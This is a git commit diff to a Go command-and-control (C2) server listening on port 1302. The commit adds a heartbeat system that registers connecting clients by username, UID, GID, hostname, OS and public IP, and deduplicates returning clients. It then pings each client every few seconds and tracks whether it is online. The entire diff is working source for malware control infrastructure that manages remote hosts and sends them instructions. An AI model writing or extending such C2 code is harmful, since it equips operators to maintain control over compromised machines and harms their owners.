Add heartbeat system

This commit is contained in:
raul 2024-06-04 12:41:57 +02:00
parent b6a6c28bd8
commit be646ca639
1 changed files with 36 additions and 32 deletions

View File

@ -5,7 +5,6 @@ import (
"fmt"
"log"
"net"
//"reflect"
"time"
"github.com/spf13/viper"
@ -37,7 +36,7 @@ type Response struct {
var (
C2Port string = "1302"
clientList []*Client
clientList []Client
)
func (c Client) Instruct(i Instructions) error {
@ -73,36 +72,35 @@ func Server() {
}
func handleConn(conn net.Conn) {
client, err := getClient(conn)
ID, err := getClient(conn)
if err != nil {
log.Printf("Error happened receiving OS information: %v\n", err)
}
fmt.Printf("Got info from new user:\nUsername: %v\nUID: %v\nGID: %v\nHostname: %v\nOS: %v\n", client.ClientBasicInfo.Username,
client.ClientBasicInfo.UID, client.ClientBasicInfo.GID, client.ClientBasicInfo.Hostname, client.ClientBasicInfo.OperatingSystem)
fmt.Printf("Got info from new user:\nUsername: %v\nUID: %v\nGID: %v\nHostname: %v\nOS: %v\n", clientList[ID].ClientBasicInfo.Username,
clientList[ID].ClientBasicInfo.UID, clientList[ID].ClientBasicInfo.GID, clientList[ID].ClientBasicInfo.Hostname,
clientList[ID].ClientBasicInfo.OperatingSystem)
go Heartbeat(*client, conn)
go Heartbeat(ID)
}
func Heartbeat(client Client, conn net.Conn) {
func Heartbeat(ID int) {
for {
inst := Instructions{
IsHeartbeat: true,
Message: "PING",
}
client.Instruct(inst)
log.Printf("Pinging %v...\n", client.ClientBasicInfo.PublicIP)
resp, err := ServerMessageReceiver(conn)
clientList[ID].Instruct(inst)
resp, err := ServerMessageReceiver(clientList[ID].Conn)
if err == nil && resp.Message == "PONG" {
fmt.Printf("Client %v is online!\n", client.ClientBasicInfo.PublicIP)
client.IsOnline = true
fmt.Printf("Client %v is online!\n", clientList[ID].ClientBasicInfo.Hostname)
clientList[ID].IsOnline = true
} else {
fmt.Printf("Client %v is offline :(\n", client.ClientBasicInfo.PublicIP)
client.IsOnline = false
fmt.Printf("Client %v is offline :(\n", clientList[ID].ClientBasicInfo.Hostname)
clientList[ID].IsOnline = false
return
}
time.Sleep(time.Second * 10)
time.Sleep(time.Second * 5)
}
}
@ -116,28 +114,34 @@ func ServerMessageReceiver(conn net.Conn) (Response, error) {
return *c, nil
}
func getClient(conn net.Conn) (*Client, error) {
func getClient(conn net.Conn) (int, error) {
dec := gob.NewDecoder(conn)
basicC := new(ClientBasicInfo)
basicC := ClientBasicInfo{}
err := dec.Decode(&basicC)
if err != nil {
bad := Client{}
return &bad, err
return -1, err
}
newC := new(Client)
newC.ClientBasicInfo = *basicC
for i, v := range clientList {
sameClient := basicC.Username == v.ClientBasicInfo.Username &&
basicC.PublicIP == v.ClientBasicInfo.PublicIP &&
basicC.Hostname == v.ClientBasicInfo.Hostname
if sameClient == true {
fmt.Printf("\nCLIENT ALREADY PRESENT, SETTING TO ONLINE\n\n")
clientList[i].IsOnline = true
clientList[i].Conn = conn
return i, nil
} else {
fmt.Println("Unequal!")
}
}
newC := Client{}
newC.ClientBasicInfo = basicC
newC.Conn = conn
newC.IsOnline = true
// for _, v := range clientList {
// sameClient := reflect.DeepEqual(c, v.ClientInfo)
// if sameClient == true {
// fmt.Println("CLIENT ALREADY PRESENT, SETTING TO ONLINE")
// c.IsOnline = true
// return c, nil
// }
// }
//fmt.Println("CLIENT NOT PRESENT, ADDING TO LIST")
fmt.Printf("\nCLIENT NOT PRESENT, ADDING TO LIST\n\n")
clientList = append(clientList, newC)
return newC, nil
return len(clientList) - 1, nil
}